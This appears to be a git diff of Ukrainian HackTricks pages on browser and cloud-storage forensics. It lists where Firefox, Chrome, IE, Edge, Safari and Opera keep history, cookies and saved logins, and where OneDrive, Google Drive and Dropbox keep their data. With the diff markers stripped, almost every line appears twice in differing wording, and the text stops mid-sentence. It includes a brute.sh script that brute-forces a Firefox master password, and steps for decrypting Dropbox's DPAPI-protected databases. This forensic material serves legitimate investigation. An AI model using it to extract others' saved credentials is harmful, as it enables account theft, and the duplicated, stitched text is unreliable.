* **Кеш**: Зберігає веб-контент (наприклад, зображення, файли JavaScript), щоб покращити час завантаження веб-сайтів, цінно для судової експертизи.
* **Логіни**: Збережені облікові дані для входу.
* **Фавікони**: Іконки, пов'язані з веб-сайтами, які з'являються во вкладках та закладках, корисні для додаткової інформації про відвідування користувача.
* **Фавіконки**: Іконки, пов'язані з веб-сайтами, що з'являються на вкладках і в закладках, корисні для додаткової інформації про відвідування користувача.
* **Сесії браузера**: Дані, пов'язані з відкритими сесіями браузера.
* **Завантаження**: Записи про файли, завантажені через браузер.
* **Дані форми**: Інформація, введена в веб-форми, збережена для майбутніх пропозицій автозаповнення.
* **Мініатюри**: Зображення попереднього перегляду веб-сайтів.
* **Завантаження**: Записи файлів, завантажених через браузер.
* **Дані форм**: Інформація, введена у веб-форму, збережена для майбутніх пропозицій автозаповнення.
* **Ескізи**: Попередні зображення веб-сайтів.
* **Custom Dictionary.txt**: Слова, додані користувачем до словника браузера.
## Firefox
Firefox організовує дані користувача в межах профілів, збережених в конкретних місцях в залежності від операційної системи:
Firefox організовує дані користувача в профілях, які зберігаються в специфічних місцях залежно від операційної системи:
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Файл `profiles.ini` в цих каталогах містить список профілів користувача. Дані кожного профілю зберігаються в папці, названій змінною `Path` в `profiles.ini`, розташованій в тому ж каталозі, що і сам `profiles.ini`. Якщо папка профілю відсутня, її можуть бути видалено.
Файл `profiles.ini` в цих каталогах містить список профілів користувача. Дані кожного профілю зберігаються в папці, назва якої вказана в змінній `Path` у `profiles.ini`, розташованій в тому ж каталозі, що й `profiles.ini`. Якщо папка профілю відсутня, вона могла бути видалена.
У кожній папці профілю можна знайти кілька важливих файлів:
У кожній папці профілю ви можете знайти кілька важливих файлів:
* **places.sqlite**: Зберігає історію, закладки та завантаження. Інструменти, такі як [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) на Windows, можуть отримати доступ до даних історії.
* Використовуйте конкретні SQL-запити для вилучення інформації про історію та завантаження.
* Використовуйте специфічні SQL-запити для витягнення інформації про історію та завантаження.
* **bookmarkbackups**: Містить резервні копії закладок.
* **formhistory.sqlite**: Зберігає дані веб-форми.
* **handlers.json**: Управляє обробниками протоколів.
* **persdict.dat**: Слова користувача власного словника.
* **formhistory.sqlite**: Зберігає дані веб-форм.
* **handlers.json**: Керує обробниками протоколів.
* **persdict.dat**: Слова з користувацького словника.
* **addons.json** та **extensions.sqlite**: Інформація про встановлені додатки та розширення.
* **cookies.sqlite**: Зберігання куки, з [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) доступним для перегляду на Windows.
* **cookies.sqlite**: Зберігання куків, з [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) доступним для перевірки на Windows.
* **cache2/entries** або **startupCache**: Дані кешу, доступні через інструменти, такі як [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Зберігає фавікони.
* **prefs.js**: Налаштування та вподобання користувача.
* **favicons.sqlite**: Зберігає фавіконки.
* **prefs.js**: Налаштування та переваги користувача.
* **downloads.sqlite**: Стара база даних завантажень, тепер інтегрована в places.sqlite.
* **thumbnails**: Мініатюри веб-сайтів.
* **thumbnails**: Ескізи веб-сайтів.
* **logins.json**: Зашифрована інформація для входу.
* **key4.db** або **key3.db**: Зберігає ключі шифрування для захисту чутливої інформації.
Додатково, перевірку налаштувань анти-фішингу браузера можна виконати, шукаючи записи `browser.safebrowsing` в `prefs.js`, що вказує, чи ввімкнені або вимкнені функції безпечного перегляду.
Крім того, перевірити налаштування антифішингу браузера можна, шукаючи записи `browser.safebrowsing` у `prefs.js`, що вказує, чи увімкнені або вимкнені функції безпечного перегляду.
Для спроби розшифрувати головний пароль, ви можете використовувати [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
З наступним скриптом та викликом ви можете вказати файл паролю для перебору:
Щоб спробувати розшифрувати майстер-пароль, ви можете використовувати [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
З наступним скриптом і викликом ви можете вказати файл паролів для брутфорсу:
{% code title="brute.sh" %}
```bash
#!/bin/bash
@ -83,90 +86,94 @@ echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
{% endcode %}
![](<../../../.gitbook/assets/image (417).png>)
## Google Chrome
Google Chrome зберігає профілі користувачів у конкретних місцях в залежності від операційної системи:
Google Chrome зберігає профілі користувачів у специфічних місцях залежно від операційної системи:
* **Linux**: `~/.config/google-chrome/`
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
У цих каталогах більшість даних користувача можна знайти у папках **Default/** або **ChromeDefaultData/**. Наступні файли містять значущі дані:
У цих каталогах більшість даних користувача можна знайти у папках **Default/** або **ChromeDefaultData/**. Наступні файли містять значні дані:
* **Історія**: Містить URL-адреси, завантаження та ключові слова пошуку. На Windows можна використовувати [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) для перегляду історії. Стовпець "Transition Type" має різні значення, включаючи кліки користувача на посилання, введені URL-адреси, відправлення форм та перезавантаження сторінок.
* **Cookies**: Зберігає файли cookie. Для перевірки доступний [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Кеш**: Містить кешовані дані. Для перевірки користувачі Windows можуть використовувати [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Закладки**: Закладки користувача.
* **History**: Містить URL-адреси, завантаження та ключові слова пошуку. На Windows можна використовувати [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) для читання історії. Стовпець "Transition Type" має різні значення, включаючи кліки користувача на посилання, введені URL-адреси, відправлення форм та перезавантаження сторінок.
* **Cookies**: Зберігає куки. Для перевірки доступний [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Cache**: Містить кешовані дані. Для перевірки користувачі Windows можуть використовувати [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Bookmarks**: Закладки користувача.
* **Web Data**: Містить історію форм.
* **Favicons**: Зберігає значки веб-сайтів.
* **Login Data**: Включає дані для входу, такі як імена користувачів та паролі.
* **Поточна сесія**/**Поточні вкладки**: Дані про поточну сесію перегляду та відкриті вкладки.
* **Остання сесія**/**Останні вкладки**: Інформація про активні сайти під час останньої сесії перед закриттям Chrome.
* **Розширення**: Каталоги для розширень та додатків браузера.
* **Мініатюри**: Зберігає мініатюри веб-сайтів.
* **Preferences**: Файл, що містить багато інформації, включаючи налаштування для плагінів, розширень, спливаючих вікон, сповіщень та іншого.
* **Вбудований анти-фішинг браузера**: Щоб перевірити, чи увімкнено анти-фішинг та захист від шкідливих програм, виконайте `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Шукайте `{"enabled: true,"}` у виводі.
* **Favicons**: Зберігає фавіконки веб-сайтів.
* **Login Data**: Включає облікові дані для входу, такі як імена користувачів та паролі.
* **Current Session**/**Current Tabs**: Дані про поточну сесію перегляду та відкриті вкладки.
* **Last Session**/**Last Tabs**: Інформація про сайти, активні під час останньої сесії перед закриттям Chrome.
* **Extensions**: Каталоги для розширень браузера та аддонів.
* **Thumbnails**: Зберігає ескізи веб-сайтів.
* **Preferences**: Файл, багатий на інформацію, включаючи налаштування для плагінів, розширень, спливаючих вікон, сповіщень та інше.
* **Browsers built-in anti-phishing**: Щоб перевірити, чи увімкнено захист від фішингу та шкідливого ПЗ, виконайте `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Шукайте `{"enabled: true,"}` у виході.
## **Відновлення даних з бази даних SQLite**
## **Відновлення даних SQLite DB**
Як можна побачити в попередніх розділах, як Chrome, так і Firefox використовують бази даних **SQLite** для зберігання даних. Можливо **відновити видалені записи за допомогою інструменту** [**sqlparse**](https://github.com/padfoot999/sqlparse) **або** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Як видно з попередніх розділів, як Chrome, так і Firefox використовують **SQLite** бази даних для зберігання даних. Можливо **відновити видалені записи за допомогою інструменту** [**sqlparse**](https://github.com/padfoot999/sqlparse) **або** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Internet Explorer 11 керує своїми даними та метаданими в різних місцях, що допомагає в розділенні збережених інформації та відповідних деталей для легкого доступу та управління.
Internet Explorer 11 управляє своїми даними та метаданими в різних місцях, що допомагає розділити збережену інформацію та відповідні деталі для легкого доступу та управління.
### Зберігання метаданих
Метадані для Internet Explorer зберігаються в `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (з VX, яке може бути V01, V16 або V24). Крім цього, файл `V01.log` може показувати розбіжності часу модифікації з `WebcacheVX.data`, що вказує на необхідність виправлення за допомогою `esentutl /r V01 /d`. Ці метадані, розміщені в базі даних ESE, можна відновити та перевірити за допомогою інструментів, таких як photorec та [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). У таблиці **Containers** можна визначити конкретні таблиці або контейнери, де зберігається кожний сегмент даних, включаючи деталі кешу для інших інструментів Microsoft, таких як Skype.
Метадані для Internet Explorer зберігаються в `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (з VX, що може бути V01, V16 або V24). У супроводі цього файл `V01.log` може показувати розбіжності в часі модифікації з `WebcacheVX.data`, що вказує на необхідність ремонту за допомогою `esentutl /r V01 /d`. Ці метадані, що зберігаються в базі даних ESE, можна відновити та перевірити за допомогою таких інструментів, як photorec та [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). У таблиці **Containers** можна розрізнити конкретні таблиці або контейнери, де зберігається кожен сегмент даних, включаючи деталі кешу для інших інструментів Microsoft, таких як Skype.
### Перевірка кешу
Інструмент [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) дозволяє перевіряти кеш, вимагаючи розташування папки для видобутку даних кешу. Метадані для кешу включають ім'я файлу, каталог, кількість доступів, початковий URL та мітки часу, що вказують на час створення, доступу, модифікації та закінчення кешу.
Інструмент [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) дозволяє перевіряти кеш, вимагаючи місцезнаходження папки для витягування даних кешу. Метадані для кешу включають ім'я файлу, каталог, кількість доступів, URL-адресу походження та часові мітки, що вказують на час створення, доступу, модифікації та закінчення терміну дії кешу.
### Управління файлами cookie
### Управління куками
Файли cookie можна дослідити за допомогою [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), а метадані включають імена, URL-адреси, кількість доступів та різні часові деталі. Постійні файли cookie зберігаються в `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, а сеансові файли cookie знаходяться в пам'яті.
Куки можна досліджувати за допомогою [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), з метаданими, що охоплюють імена, URL-адреси, кількість доступів та різні часові деталі. Постійні куки зберігаються в `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, а сесійні куки знаходяться в пам'яті.
### Деталі завантажень
Метадані завантажень доступні за допомогою [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), і конкретні контейнери містять дані, такі як URL-адреса, тип файлу та місце завантаження. Фізичні файли можна знайти в `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
Метадані завантажень доступні через [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), з конкретними контейнерами, що містять дані, такі як URL, тип файлу та місце завантаження. Фізичні файли можна знайти в `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Історія перегляду
### Історія переглядів
Для перегляду історії перегляду можна використовувати [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), вимагаючи розташування видобутих файлів історії та налаштування для Internet Explorer. Тут метадані включають часи модифікації та доступу, а також кількість доступів. Файли історії розташовані в `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Щоб переглянути історію переглядів, можна використовувати [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), вимагаючи місцезнаходження витягнутих файлів історії та конфігурації для Internet Explorer. Метадані тут включають час модифікації та доступу, а також кількість доступів. Файли історії розташовані в `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Введені URL-адреси
Введені URL-адреси та час їх використання зберігаються в реєстрі під `NTUSER.DAT` за адресою `Software\Microsoft\InternetExplorer\TypedURLs` та `Software\Microsoft\InternetExplorer\TypedURLsTime`, відстежуючи останні 50 URL-адрес, введених користувачем, та їх часи останнього введення.
Введені URL-адреси та час їх використання зберігаються в реєстрі під `NTUSER.DAT` за адресами `Software\Microsoft\InternetExplorer\TypedURLs` та `Software\Microsoft\InternetExplorer\TypedURLsTime`, відстежуючи останні 50 URL-адрес, введених користувачем, та час їх останнього введення.
## Microsoft Edge
Microsoft Edge зберігає дані користувачів у `%userprofile%\Appdata\Local\Packages`. Шляхи для різних типів даних такі:
Microsoft Edge зберігає дані користувачів у `%userprofile%\Appdata\Local\Packages`. Шляхи для різних типів даних:
* **Шлях профілю**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **Історія, Cookies та Завантаження**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Налаштування, Закладки та Список для читання**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Кеш**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Останні активні сесії**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Дані Safari зберігаються в `/Users/$User/Library/Safari`. Основні файли включають:
Дані Safari зберігаються за адресою `/Users/$User/Library/Safari`. Ключові файли включають:
* **History.db**: Містить таблиці `history_visits` та `history_items` з URL-адресами та часами відвідувань. Використовуйте `sqlite3` для запитів.
* **History.db**: Містить таблиці `history_visits` та `history_items` з URL-адресами та часовими мітками відвідувань. Використовуйте `sqlite3` для запитів.
* **Downloads.plist**: Інформація про завантажені файли.
* **Bookmarks.plist**: Зберігає URL-адреси закладок.
* **Bookmarks.plist**: Зберігає закладені URL-адреси.
* **TopSites.plist**: Найчастіше відвідувані сайти.
* **Extensions.plist**: Список розширень браузера Safari. Використовуйте `plutil` або `pluginkit` для отримання.
* **UserNotificationPermissions.plist**: Домени, яким дозволено надсилати сповіщення. Використовуйте `plutil` для аналізу.
* **LastSession.plist**: Вкладки з останньої сесії. Використовуйте `plutil` для аналізу.
* **Вбудований анти-фішинг браузера**: Перевірте за допомогою `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Відповідь 1 вказує на активність функції.
* **UserNotificationPermissions.plist**: Доменні імена, яким дозволено надсилати сповіщення. Використовуйте `plutil` для парсингу.
* **LastSession.plist**: Вкладки з останньої сесії. Використовуйте `plutil` для парсингу.
* **Browsers built-in anti-phishing**: Перевірте за допомогою `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Відповідь 1 вказує на те, що функція активна.
## Opera
Дані Opera розташовані в `/Users/$USER/Library/Application Support/com.operasoftware.Opera` та мають формат історії та завантажень, схожий на Chrome.
Дані Opera знаходяться в `/Users/$USER/Library/Application Support/com.operasoftware.Opera` і використовують формат Chrome для історії та завантажень.
* **Вбудований анти-фішинг браузера**: Перевірте, чи параметр `fraud_protection_enabled` в файлі Preferences встановлено на `true` за допомогою `grep`.
* **Browsers built-in anti-phishing**: Перевірте, чи `fraud_protection_enabled` у файлі Preferences встановлено на `true`, використовуючи `grep`.
Ці шляхи та команди є важливими для доступу та розуміння даних перегляду, збережених різними веб-браузерами.
@ -175,21 +182,27 @@ Microsoft Edge зберігає дані користувачів у `%userprofi
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **Книга: OS X Incident Response: Scripting and Analysis By Jaron Bradley стор. 123**
* **Книга: OS X Incident Response: Scripting and Analysis By Jaron Bradley сторінка 123**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш розвинутих інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних найсучаснішими інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
<summary>Підтримка HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,50 +1,51 @@
# Локальне зберігання у хмарі
# Локальне Хмарне Сховище
{% hint style="success" %}
Вивчайте та практикуйте AWS Хакінг:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Хакінг: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних найсучаснішими інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive
У Windows ви можете знайти папку OneDrive за шляхом `\Users\<username>\AppData\Local\Microsoft\OneDrive`. А всередині `logs\Personal` можна знайти файл `SyncDiagnostics.log`, в якому містяться деякі цікаві дані щодо синхронізованих файлів:
У Windows ви можете знайти папку OneDrive у `\Users\<username>\AppData\Local\Microsoft\OneDrive`. А всередині `logs\Personal` можна знайти файл `SyncDiagnostics.log`, який містить деякі цікаві дані щодо синхронізованих файлів:
* Розмір у байтах
* Дата створення
* Дата модифікації
* Кількість файлів у хмарі
* Кількість файлів у папці
* **CID**: Унікальний ідентифікатор користувача OneDrive
* **CID**: Унікальний ID користувача OneDrive
* Час генерації звіту
* Розмір жорсткого диска ОС
Як тільки ви знайдете CID, рекомендується **шукати файли, що містять цей ідентифікатор**. Можливо, ви зможете знайти файли з назвою: _**\<CID>.ini**_ та _**\<CID>.dat**_, які можуть містити цікаву інформацію, наприклад, назви файлів, які синхронізовані з OneDrive.
Після того, як ви знайдете CID, рекомендується **шукати файли, що містять цей ID**. Ви можете знайти файли з іменами: _**\<CID>.ini**_ та _**\<CID>.dat**_, які можуть містити цікаву інформацію, таку як назви файлів, синхронізованих з OneDrive.
## Google Drive
У Windows ви можете знайти основну папку Google Drive за шляхом `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Ця папка містить файл під назвою Sync\_log.log з інформацією, такою як адреса електронної пошти облікового запису, назви файлів, мітки часу, MD5-хеші файлів тощо. Навіть видалені файли з'являються у цьому файлі журналу з відповідними MD5.
У Windows ви можете знайти основну папку Google Drive у `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Ця папка містить файл під назвою Sync\_log.log з інформацією, такою як адреса електронної пошти облікового запису, імена файлів, часові мітки, MD5 хеші файлів тощо. Навіть видалені файли з'являються в цьому файлі журналу з відповідним MD5.
Файл **`Cloud_graph\Cloud_graph.db`** є базою даних sqlite, яка містить таблицю **`cloud_graph_entry`**. У цій таблиці ви можете знайти **назву** **синхронізованих** **файлів**, час модифікації, розмір та контрольну суму MD5 файлів.
Файл **`Cloud_graph\Cloud_graph.db`** є базою даних sqlite, яка містить таблицю **`cloud_graph_entry`**. У цій таблиці ви можете знайти **назви** **синхронізованих** **файлів**, час модифікації, розмір та MD5 контрольну суму файлів.
Дані таблиці бази даних **`Sync_config.db`** містять адресу електронної пошти облікового запису, шляхи до спільних папок та версію Google Drive.
Дані таблиці бази даних **`Sync_config.db`** містять адресу електронної пошти облікового запису, шлях до спільних папок та версію Google Drive.
## Dropbox
@ -55,14 +56,14 @@ Dropbox використовує **бази даних SQLite** для упра
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
* `\Users\<username>\AppData\Roaming\Dropbox`
І основні бази даних:
А основні бази даних:
* Sigstore.dbx
* Filecache.dbx
* Deleted.dbx
* Config.dbx
Розширення ".dbx" означає, що **бази даних** **зашифровані**. Dropbox використовує **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Розширення ".dbx" означає, що **бази даних** є **зашифрованими**. Dropbox використовує **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Щоб краще зрозуміти шифрування, яке використовує Dropbox, ви можете прочитати [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
@ -73,50 +74,65 @@ Dropbox використовує **бази даних SQLite** для упра
* **Алгоритм**: PBKDF2
* **Ітерації**: 1066
Крім цієї інформації, для розшифрування баз даних вам все ще потрібно:
Окрім цієї інформації, для розшифрування баз даних вам також знадобиться:
* **Зашифрований ключ DPAPI**: Ви можете знайти його в реєстрі всередині `NTUSER.DAT\Software\Dropbox\ks\client` (експортуйте ці дані як бінарні)
* Гілки **`SYSTEM`** та **`SECURITY`**
* Майстер-ключі DPAPI: Які можна знайти в `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* Ім'я користувача та пароль Windows
* **зашифрований ключ DPAPI**: Ви можете знайти його в реєстрі всередині `NTUSER.DAT\Software\Dropbox\ks\client` (експортуйте ці дані у бінарному вигляді)
* **`SYSTEM`** та **`SECURITY`** хіви
* **майстер-ключі DPAPI**: які можна знайти в `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* **ім'я користувача** та **пароль** користувача Windows
Потім ви можете використовувати інструмент [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
Тоді ви можете використовувати інструмент [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>)
Якщо все пройде як очікувалося, інструмент покаже **основний ключ**, який вам потрібно **використовувати для відновлення оригінального**. Щоб відновити оригінальний, просто використовуйте цей [рецепт cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) вставляючи основний ключ як "пароль" всередині рецепту.
Якщо все піде за планом, інструмент вкаже на **основний ключ**, який вам потрібно **використати для відновлення оригінального**. Щоб відновити оригінал, просто використовуйте цей [рецепт cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)), ставлячи основний ключ як "пароль" у рецепті.
Отриманий шістнадцятковий код - це кінцевий ключ, який використовується для шифрування баз даних, які можна розшифрувати за допомогою:
